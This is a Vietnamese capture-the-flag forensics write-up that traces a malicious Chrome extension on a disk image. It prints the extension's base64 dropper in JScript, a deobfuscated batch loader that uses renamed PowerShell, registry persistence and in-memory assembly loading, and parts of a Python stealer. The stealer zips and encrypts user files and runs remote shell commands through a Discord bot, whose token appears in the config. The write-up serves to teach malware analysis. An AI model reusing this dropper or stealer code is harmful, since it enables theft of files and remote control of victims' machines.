Trong cuộc thi FIA CTF CyberSus 2025 của CLB FPT Information Assurance có một challenge thuộc mảng Forensics khá hay tên là frog10sion và trong bài writeup này chúng ta sẽ mổ sẻ nó. Sẵn đây chúng ta sẽ shout out cho anh Jerry Đặng, là author của bài này, cũng như là người dẫn dắt mình khi mới bước chân chập chững khi tìm hiểu về Forensics.

Oke bắt đầu thôi.

Oke thì theo như description của bài thì có vẽ S4m Sm1th muốn hack trường nên đã tải một phần mềm lạ về và có thể anh ta đã vô tình tải phải mã độc.

Đề cho ta 1 file evidence.ad1

như có thể thấy thì đây là 1 file disk image và sau khi tải về chúng ta sẽ sử dụng tool FTK Imager để mở nó.

sau khi import file evidence vào thì ta thấy được là:

• Nguồn dữ liệu: Thư mục “C:\Users\Administrator\Desktop\Export\S4m Sm1th (AD1)”.
• Cấu trúc thư mục: Bao gồm các thư mục con như 3D Objects, AppData, Contacts, Links, Music, Saved Games, Searches, và Videos.

Thì ta có thể hiểu đây là 1 lát cắt bao gồm các thư mục của máy tính nạn nhân, thì dựa vào đây ta sẽ bắt đầu tìm kiếm các dấu vết để lại của mã độc từ đó có thể hình dung được việc gì đã xảy ra.

Quay lại description của tác giả, thì có đề cập đến việc đã tải một phần mềm lạ, chúng ta có thể bắt đầu từ manh mối này.

Để tải một phần mềm gì đó, maybe nạn nhân đã sử dụng một trình duyệt web nào đó để tải, có thể lịch sử duyệt web có thể sẽ hữu ích trong trường hợp này.

trong quá trình resreach về cách đề xem lịch sử duyệt web, thì tôi thấy trang web sau khá hữu ích: https://www.foxtonforensics.com/browser-history-examiner/chrome-history-location

Trong bài viết có đề cập đến path sau:

Và có thể không phải ngẫu nhiên mà tác giả đã để lại thư mục App Data cho chúng ta.

Truy cập theo path trên thì tôi đã thấy được file History, và trong magic header nó cũng cho chúng ta biết đây là một file SQLite, chúng ta có thể sử dụng tool như db Browser (SQLite) để mở nó sau khi đã dump nó ra.

” Sau khi dump và load file History này vào db Browser, tôi tìm đến dữ liệu của bảng Downloads, thì ở đây nó sẽ chứa tất cả các lịch sử download của nạn nhân.

Và ở đây, ta thấy được là nạn nhân đã tải một file có tên C:\Users\S4m Sm1th\Downloads\hack-fap-fpt-chrome-extension.zip Thì không còn gì bàn cãi, đây chính là phần mềm lạ mà S4m Sm1th đã tải về cũng như author đã đề trong description của đề.

Nhưng, tiếp theo ta phải tìm file Zip này ở đâu? Tác giả đâu hề cho ta thư mục Download.

Sau một lục lọi và suy nghĩ lại thì toi trợ nhớ tên file có nhắc đến chrome-extension, à há chắc là folder chứa malware này cần phải import thì mới có thể sử dụng.

Nhưng, import vào đâu?

Thì phải research thôi chứ sao. Sau một thoáng research thì tôi tìm được site sau: https://www.ninjaone.com/blog/where-are-chrome-extensions-stored/

Truy cập theo path trên thì

Thì trong các folder extension này, đều có 1 file manifest.json, file này chứa các thông tin của extension dưới dạng json.

Và lục lọi một tí thì toi thấy được extension hcekfkjfkcfoeohaponopofdhogpecif có file manifest có đề cập đến fap, và trong file .zip do nạn nhân tải về cũng có tên là hack-fap-fpt-chrome-extension.zip, thì đây đích thị là nó.

okela, dump nó ra để kiểm tra thoi.

sau khi dump và mở folder extension này bằng vscode, và bắt đầu tìm kiếm những dấu vết đáng nghi thì mình thấy file Content.js này có một hàm tên inject() và có 1 biến aso_ibora chứa một chuỗi kí tự vô cùng dài, thì theo kinh nghiệm của mình thì nó đang encode cho một thứ gì đó (trông nguy hiểm phết).

các bạn có thể thấy, nó rất rất dài

và lướt đến cuối chuỗi thì mình thấy đoạn code sau:

1
var silver = WScript.CreateObject("Microsoft.XMLDOM");
2

3
  var sinema = silver.createElement("tmp");
4

5
  sinema.dataType = "bin.base64";
6

7
  sinema.text = aso_ibora;
8

9
  var sugar = WScript.CreateObject("ADODB.Stream");
10
  sugar.Type = 1;
11
  sugar.Open();
12
  sugar.Write(sinema.nodeTypedValue);
13
  var wshShell = WScript.CreateObject("WScript.Shell");
14
  var tempdir = wshShell.ExpandEnvironmentStrings("%temp%");
15
  var appdatadir = wshShell.ExpandEnvironmentStrings("%appdata%");
16
  var path = "yum.bat";
17
  var is_temp = false;
18

19
  if (is_temp) {
20
    path = tempdir + "\\" + path;
21
  } else {
22
    path = appdatadir + "\\" + path;
23
  }
24

25
  sugar.SaveToFile(path, 2);
26
  if (path.endsWith(".jar")) {
27
    wshShell.run("java -jar \"" + path + "\"");
28
  } else if (path.endsWith(".bat") || path.endsWith(".wsf")) {
29
    wshShell.run("wscript \"" + path + "\"");
30
  } else {
31
    wshShell.run("\"" + path + "\"");
32
  }
33
  } catch (err) {
34
    WScript.Echo(err.message);
35
  }

oke bắt đầu phân tích nào

Đầu tiên

1
var silver = WScript.CreateObject("Microsoft.XMLDOM");
2
var sinema = silver.createElement("tmp");
3
sinema.dataType = "bin.base64";
4
sinema.text = aso_ibora;

thì ta có thể thấy:

• var silver = WScript.CreateObject(“Microsoft.XMLDOM”);: Tạo đối tượng DOM XML.
• var sinema = silver.createElement(“tmp”);: Tạo phần tử .
• sinema.dataType = “bin.base64”;: Đặt loại dữ liệu là Base64.
• sinema.text = aso_ibora;: Gán chuỗi Base64 từ aso_ibora vào .

Tóm lại nó sẽ tạo phần tử XML để nhúng dữ liệu nhị phân là chuỗi dữ liệu của biến aso_ibora trên, cũng như là ta có thể xác nhận chuỗi đó là đang được encode theo kiểu Base64.

Tiếp theo:

1
var sugar = WScript.CreateObject("ADODB.Stream");
2
sugar.Type = 1;
3
sugar.Open();
4
sugar.Write(sinema.nodeTypedValue);
5
var wshShell = WScript.CreateObject("WScript.Shell");
6
var tempdir = wshShell.ExpandEnvironmentStrings("%temp%");
7
var appdatadir = wshShell.ExpandEnvironmentStrings("%appdata%");
8
var path = "yum.bat";
9
var is_temp = false;

• var sugar = WScript.CreateObject(“ADODB.Stream”);: Tạo đối tượng luồng (stream) ADODB.
• sugar.Type = 1;: Đặt loại luồng là nhị phân (binary).
• sugar.Open();: Mở luồng để ghi dữ liệu.
• sugar.Write(sinema.nodeTypedValue);: Ghi dữ liệu nhị phân từ sinema.nodeTypedValue vào luồng.
• var wshShell = WScript.CreateObject(“WScript.Shell”);: Tạo đối tượng Shell.
• var tempdir = wshShell.ExpandEnvironmentStrings(“%temp%”);: Lấy đường dẫn thư mục tạm (%temp%).
• var appdatadir = wshShell.ExpandEnvironmentStrings(“%appdata%”);: Lấy đường dẫn thư mục AppData (%appdata%).
• var path = “yum.bat”;: Định nghĩa tên tệp là “yum.bat”.

tóm lại là nó sẽ chuẩn bị ghi dữ liệu nhị phân từ sinema vào tệp “yum.bat”, và gọi đến path của các thư mục như Tmp hoặc AppData, để có thể lưu vào ở bước tiếp theo.

Cuối cùng:

1
if (is_temp) {
2
    path = tempdir + "\\" + path;
3
} else {
4
    path = appdatadir + "\\" + path;
5
}
6

7
sugar.SaveToFile(path, 2);
8
if (path.endsWith(".jar")) {
9
    wshShell.run("java -jar \"" + path + "\"");
10
} else if (path.endsWith(".bat") || path.endsWith(".wsf")) {
11
    wshShell.run("wscript \"" + path + "\"");
12
} else {
13
    wshShell.run("\"" + path + "\"");
14
}
15
} catch (err) {
16
    WScript.Echo(err.message);
17
}

Thì ở bước này nó sẽ lưu dữ liệu dưới dạng nhị phân đã xử lý ở trên vào file với đuôi như .bat hoặc .wsf và thực thi nó.

Oke thì dựa vào những dấu hiệu bất thường trên, chúng ta có thể xác nhận đây có thể là dropper của mã độc.

Tiếp theo, ta cần biết được đoạn base64 đó đang encode cho thứ gì. Copy và paste vào cyberchef để decode thử.

với các lệnh như REM, set thì chúng ta có thể nhận định nó đang encode cho một Batch Script. Nhưng trông rất khó hiểu đúng không? Đúng rồi, vì nó đã bị obfuscate mà, cụ thể là String obfuscate

Thực hiện deobfuscate thì ta được script sau:

1
@echo off
2
set "RegistryKeyName_Channel=_NT_SYMBOL_CHANNEL_"
3
reg add "HKEY_CURRENT_USER\Environment" /v %RegistryKeyName_Channel% /d "1258850437876944929" /f
4
set "RegistryKeyName_ID=_NT_SYMBOL_ID"
5
reg add "HKEY_CURRENT_USER\Environment" /v %RegistryKeyName_ID% /d "1258850435972993145" /f
6
echo F | xcopy /d /q /y /h /i "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "%~0.Qjv" # Evasion
7
attrib +s +h "%~0.Qjv"
8
set "CurrentScriptPath=%~dpnx0"
9
"%~0.Qjv" -WindowStyle hidden -command "$base64String = Get-Content '%CurrentScriptPath%' | select-object -Last 1; $compressedBytes = [System.Convert]::FromBase64String($base64String);$compressedStream = New-Object System.IO.MemoryStream( , $compressedBytes);$decompressedStream = New-Object System.IO.MemoryStream;$gzipStream = New-Object System.IO.Compression.GzipStream($compressedStream, [System.IO.Compression.CompressionMode]::Decompress);$gzipStream.CopyTo($decompressedStream);$gzipStream.Close();$compressedStream.Close();[byte[]]$decompressedPayloadBytes = $decompressedStream.ToArray();[Array]::Reverse($compressedBytes);$loadedAssembly = [System.Threading.Thread]::GetDomain().Load($decompressedPayloadBytes);$loadedAssembly.EntryPoint.DeclaredMethods[0].Invoke($null, [object[]]($null)) | Out-Null"
10
exit

như ta có thể thấy nó sẽ thêm một số key vào registry, một hành vi khá phổ biến của các malware, bọn nó làm điều này nhằm tạo persistence lên máy nạn nhân.

ngoài ra script sẽ gắn các biến môi trường vào bên trong máy. Sau đó thực hiện lệnh powershell.

• Đọc dòng cuối của file
• Giải mã base64
• Decompress Gzip
• Đảo ngược chuỗi
• Load chương trình

Oke khi hiểu được quá trình dropper của malware rồi, ta sẽ thử áp dụng thủ công các bước trên ta thu được 1 file .gz

Tải về và ta sẽ thấy trong file .gz này có chứa 1 file tên là stealer

Nhưng theo logic của lệnh powershell, thì thằng stealer này đã bị đảo ngược vị trí các byte. Để kiểm tra điều này thì ta cũng có thể giải nén và quăng vào tool HxD để thấy rõ điều đó.

Chúng ta sẽ tiến hành reverse lại byte của file bằng cyberchef. Ta sẽ thu được 1 file execute:

Khi tải về thì ta sẽ thấy 1 file .exe với icon là 1 trăn, dấu hiệu rất đặc trưng cho thấy nó đã được biên dịch bằng PyInstaller

Hoặc có thể sử dụng tool như Exeinfo PE để kiểm tra để chắc chắn hơn.

Tiếp đó khi biết nó được compile bằng pyinstaller, ta sẽ sử dụng pyinstxtractor để tách các tài nguyên như windows api, thư viện,… mà file .exe này yêu cầu khi chạy và đặc biệt ta sẽ lấy được file .pyc, nó là file python byte code. https://github.com/extremecoders-re/pyinstxtractor

Chúng ta thu được stealer.pyc

tiếp tục sử dụng uncompyle6 để decompile file stealer.pyc và thu được stealer.py

Đây là 1 phần script:

1
# uncompyle6 version 3.9.2
2
# Python bytecode version base 3.7.0 (3394)
3
# Decompiled from: Python 3.12.3 (main, Feb  4 2025, 14:48:35) [GCC 13.3.0]
4
import discord
5
from discord.ext import commands
6
import os, zipfile, ctypes, ctypes.wintypes, winreg, base64, subprocess, requests, json, sqlite3, shutil
7
from Crypto.Cipher import AES
8
from ctypes import POINTER, Structure, byref, c_buffer, c_char, cdll, windll, wintypes
9

10
class DATA_BLOB(ctypes.Structure):
11
    _fields_ = [
12
     (
13
      "cbData", wintypes.DWORD),
14
     (
15
      "pbData", POINTER(c_char))]
16

17

18
def OyKlniwfDd(blob_out):
19
    cbData = int(blob_out.cbData)
20
    pbData = blob_out.pbData
21
    buffer = ctypes.create_string_buffer(cbData)
22
    ctypes.cdll.msvcrt.memcpy(buffer, pbData, cbData)
23
    windll.kernel32.LocalFree(pbData)
24
    return buffer.raw
25

26

27
...

Thằng này cũng đã bị obfuscate, nhưng chỉ là đặt tên biến, tên hàm bằng những chuỗi ngẫu nhiên thôi, không quá phức tạp.

đây là 1 phần script khi đã được deobfuscate:

1
import discord
2
from discord.ext import commands
3
import os, zipfile, ctypes, ctypes.wintypes, winreg, base64, subprocess, requests, json, sqlite3, shutil
4
from Crypto.Cipher import AES
5
from ctypes import POINTER, Structure, byref, c_buffer, c_char, cdll, windll, wintypes
6

7
class DATA_BLOB(ctypes.Structure):
8
    _fields_ = [
9
     (
10
      "cbData", wintypes.DWORD),
11
     (
12
      "pbData", POINTER(c_char))]
13

14

15
def extract_blob_data(blob_out):
16
    cbData = int(blob_out.cbData)
17
    pbData = blob_out.pbData
18
    buffer = ctypes.create_string_buffer(cbData)
19
    ctypes.cdll.msvcrt.memcpy(buffer, pbData, cbData)
20
    windll.kernel32.LocalFree(pbData)
21
    return buffer.raw
22

23

24
...

script stealer.py đã deofuscate https://github.com/SawG23/CTF-writeups/blob/main/FIACTF2025/stealer_cleaned.py

có một số hàm quan trọng như

• find_and_encrypt_user_files():

1
def find_and_encrypt_user_files():
2
    target_extensions = [
3
     '.png', '.pdf', '.jpg', '.docx', '.xlsx', '.xls', '.doc', '.pptx',
4
     '.csv',
5
     '.rtf', '.jpeg', '.html', '.odt', '.sql', '.txt',
6
     '.xml', '.zip',
7
     '.rar', '.7z', '.tar', '.gz', '.tgz']
8
    user_profile_path = os.environ["USERPROFILE"]
9
    target_directories = [
10
     os.path.join(user_profile_path, "Desktop"),
11
     os.path.join(user_profile_path, "Documents"),
12
     os.path.join(user_profile_path, "Pictures"),
13
     os.path.join(user_profile_path, "Downloads"),
14
     os.path.join(user_profile_path, "Music"),
15
     os.path.join(user_profile_path, "Videos")]
16
    found_files = []
17
    for directory in target_directories:
18
        for root, _, files in os.walk(directory):
19
            for file_name in files:
20
                if any((file_name.endswith(ext) for ext in target_extensions)):
21
                    found_files.append(os.path.join(root, file_name))
22

23
    zip_path = os.path.join(target_directories, "Upload.zip")
24
    try:
25
        with zipfile.ZipFile(zip_path, "w") as zipf:
26
            for file_to_zip in found_files:
27
                zipf.write(file_to_zip, os.path.relpath(file_to_zip, user_profile_path))
28

29
        encrypt_file_with_rc4((f"{zip_path}"), (f"{zip_path}"), (f"{get_public_ip()}"))
30
    except Exception as e:
31
        try:
32
            return 0
33
        finally:
34
            e = None
35
            del e
36

37
    return zip_path

Nó sẽ đánh cấp dữ liệu với các file có extension như ‘.png’, ‘.pdf’, ‘.jpg’, ‘.docx’, … ở trong các thư mục Desktop, Documents, Downloads, … của nạn nhân, đồng thời sẽ nén lại trong một file zip và sử dụng mã hóa RC4 với key là ip public của máy nạn nhân, sau đó gửi đến C2 server của hacker, ở trường hợp này sẽ là discord Guild

• cmd_execute_shell():

1
@bot.command(name="execshell")
2
@commands.is_owner()
3
async def cmd_execute_shell(ctx, *args):
4
    try:
5
        command_string = " ".join(args)
6
        full_command = f"powershell -Command {command_string}"
7
        process_result = subprocess.run(full_command, shell=True, capture_output=True, text=True)
8
        output = process_result.stdout + process_result.stderr
9
        if len(output) < 1990:
10
            await ctx.send(f"```\n{output}\n```")
11
        else:
12
            for i in range(0, len(output), 1990):
13
                await ctx.send(f"```\n{output[i:i + 1990]}\n```")
14

15
    except Exception as e:
16
        try:
17
            return 0
18
        finally:
19
            e = None
20
            del e

dùng để nhận lệnh từ C2 server và thực thi shell trên máy nạn nhân và gửi kết quả cho hacker. Tương tự như vậy:

• globalinfo: lấy thông tin của máy
• quit: ngắt kết nối
• steal: lấy hết thông tin trong browser của nạn nhân
• showHis: lấy thông tin lịch sử truy cập của nạn nhân
• showDown: xem lịch sử download của nạn nhân
• download: thực hiện lấy các file trên máy nạn nhân

Một số thông tin về cấu hình C2 server:

1
def main():
2
    run_full_browser_steal()
3
    bot.run(TOKEN)
4

5

6
TOKEN = "MTA3NzU5NzY4MTgwOTExNzI1NA.GdNmEs.6Phdg_2uMHnZolzuXdz8OZZsTgpw63Df1vJtt0"
7
SERVER_ID = int(get_env_variable_from_registry("_NT_SYMBOL_ID"))
8
CHANNEL_ID = int(get_env_variable_from_registry("_NT_SYMBOL_CHANNEL_"))
9
if __name__ == "__main__":
10
    main()

dựa vào đây chúng ta có thể tìm ra được C2 server bằng SERVER ID mà malware đã ghi vào Registry và tool sau: https://discordlookup.com/guild

BINGOOO0o0o0ooo000o

Nhưng tới đây vẫn chưa xong đâu :<< .

Flag chúng ta cần vẫn không nằm trong C2 server này.

Sau một hồi lục lọi thì tôi để ý đến file .zip đã nén những dữ liệu của nạn nhân và gửi về C2. Oke tải nó về xem có gì thú vị không.

hmmmmmm… à đúng rồi, chúng ta đã quên rằng file .zip này đã bị mã hóa RC4, vậy thì decrypt thoi. nhưng key (ip public) ở đâu để decrypt?

oke header có PK thì có vẻ uy tín rồi đấy.

Đây rồiiiiiiiiii.

Oke thì đấy là toàn bộ challenge này, một challenge tôi thấy rất thú vị.

Cảm ơn bạn đã đọc đến cuối bài.

____ EagleBoiz a.k.a SawG